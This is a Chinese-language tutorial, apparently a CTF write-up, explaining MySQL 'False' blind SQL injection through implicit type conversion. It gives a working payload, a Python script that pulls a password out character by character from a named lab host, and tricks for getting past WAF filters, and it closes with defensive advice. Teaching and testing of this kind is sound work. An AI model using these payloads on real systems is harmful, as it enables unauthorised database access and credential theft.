实例讲解False盲注基础原理
字数 1380 2025-08-18 11:37:07

False盲注基础原理与实战教学

0×01 前言

False盲注是一种可以绕过某些WAF(Web应用防火墙)的SQL注入技术,由于其特殊性容易被忽视。本文将通过CTF实例详细讲解False盲注的原理、应用场景和实战技巧。

0×02 False注入原理

False盲注的核心原理基于MySQL的隐式类型转换机制:

  1. 当字符串与数字进行比较时,MySQL会尝试将字符串转换为浮点数
  2. 字符串转换时会产生warning,转换结果为0
  3. 例外情况:如果字符串以数字开头,则会截取数字部分进行转换

关键点:

  • 'admin' = 0 在MySQL中为真(True)
  • 这种特性可以用于构造布尔型盲注条件

0×03 关键函数与运算符

常用函数

  1. MID(column_name,start[,length]):从指定位置提取字符串
    • 由于空格被过滤,可使用from语法:mid((password)from(1))
  2. ASCII():返回字符的ASCII码值
  3. substr():字符串截取函数(本例中未使用)

可用运算符

当常见运算符被过滤时,可考虑以下替代方案:

  • 位运算符:|(位或)、&(位与)、^(位异或)
  • 算术运算符:+-*/%

优先级注意:按位或(|)的优先级高于赋值(=),所以先执行位运算再赋值

0×04 实战案例分析

目标环境

  • URL: http://118.89.219.210:49167/index.php
  • 过滤内容:空格、%0a、/**/、and、union等
  • 可用运算符:|&^

注入原理详解

构造payload:

username=admin'|(ascii(mid((password)from(1)))>53)#&password=sd

解释:

  1. admin' 被隐式转换为0
  2. (ascii(mid((password)from(1)))>53) 是一个布尔条件,结果为True(1)或False(0)
  3. 使用位或运算:0|0=0,0|1=1
  4. 当username=0时,返回查询字段的所有数据(前提是username字段没有以数字开头的记录)

判断条件

通过页面返回的不同响应(如"password error")来判断条件是否为真

自动化脚本

import requests

url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result = ''

for i in range(1, 33):  # 假设密码长度为32
    for j in range(37, 127):  # 可打印字符的ASCII范围
        payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i), str(j))
        data = {"username": payload, "password": "psdvs"}
        print(payload)
        html = r.post(url, data=data)
        if "password error" in html.content:
            result += chr(j)
            print(result)
            break

print(result)

0×05 绕过技巧扩展

运算符替代方案

  1. 构造0的方法:

    • +0+0=0
    • -0-0=0
    • *0*1=0
    • /' '/1=0
    • %' '%1=0
  2. 比较运算符替代:

    • =被过滤时可使用likeregexp
    • ><被过滤时可使用greatest()/least()

字符串截取替代

  • mid(str from pos):避免使用空格
  • substring(str from pos)
  • left(str, len)/right(str, len)

0×06 防御建议

  1. 使用参数化查询(prepared statements)
  2. 严格限制输入类型和范围
  3. 对所有用户输入进行过滤和转义
  4. 避免在SQL查询中使用动态拼接
  5. 实现最小权限原则,限制数据库用户权限

0×07 总结

False盲注是一种利用MySQL隐式类型转换特性的注入技术,特别适用于某些WAF绕过场景。通过理解其原理和掌握相关函数、运算符的使用方法,安全研究人员可以更好地测试和防御这类漏洞。在实际应用中,建议结合自动化工具提高效率,同时也要注意合法合规地进行安全测试。

False盲注基础原理与实战教学 0×01 前言 False盲注是一种可以绕过某些WAF(Web应用防火墙)的SQL注入技术,由于其特殊性容易被忽视。本文将通过CTF实例详细讲解False盲注的原理、应用场景和实战技巧。 0×02 False注入原理 False盲注的核心原理基于MySQL的隐式类型转换机制: 当字符串与数字进行比较时,MySQL会尝试将字符串转换为浮点数 字符串转换时会产生warning,转换结果为0 例外情况:如果字符串以数字开头,则会截取数字部分进行转换 关键点: 'admin' = 0 在MySQL中为真(True) 这种特性可以用于构造布尔型盲注条件 0×03 关键函数与运算符 常用函数 MID(column_name,start[,length]) :从指定位置提取字符串 由于空格被过滤,可使用 from 语法: mid((password)from(1)) ASCII() :返回字符的ASCII码值 substr() :字符串截取函数(本例中未使用) 可用运算符 当常见运算符被过滤时,可考虑以下替代方案: 位运算符: | (位或)、 & (位与)、 ^ (位异或) 算术运算符: + 、 - 、 * 、 / 、 % 优先级注意:按位或( | )的优先级高于赋值( = ),所以先执行位运算再赋值 0×04 实战案例分析 目标环境 URL: http://118.89.219.210:49167/index.php 过滤内容:空格、%0a、/** /、and、union等 可用运算符: | 、 & 、 ^ 注入原理详解 构造payload: 解释: admin' 被隐式转换为0 (ascii(mid((password)from(1)))>53) 是一个布尔条件,结果为True(1)或False(0) 使用位或运算:0|0=0,0|1=1 当username=0时,返回查询字段的所有数据(前提是username字段没有以数字开头的记录) 判断条件 通过页面返回的不同响应(如"password error")来判断条件是否为真 自动化脚本 0×05 绕过技巧扩展 运算符替代方案 构造0的方法: + : 0+0=0 - : 0-0=0 * : 0*1=0 / : ' '/1=0 % : ' '%1=0 比较运算符替代: = 被过滤时可使用 like 或 regexp > 和 < 被过滤时可使用 greatest() / least() 字符串截取替代 mid(str from pos) :避免使用空格 substring(str from pos) left(str, len) / right(str, len) 0×06 防御建议 使用参数化查询(prepared statements) 严格限制输入类型和范围 对所有用户输入进行过滤和转义 避免在SQL查询中使用动态拼接 实现最小权限原则,限制数据库用户权限 0×07 总结 False盲注是一种利用MySQL隐式类型转换特性的注入技术,特别适用于某些WAF绕过场景。通过理解其原理和掌握相关函数、运算符的使用方法,安全研究人员可以更好地测试和防御这类漏洞。在实际应用中,建议结合自动化工具提高效率,同时也要注意合法合规地进行安全测试。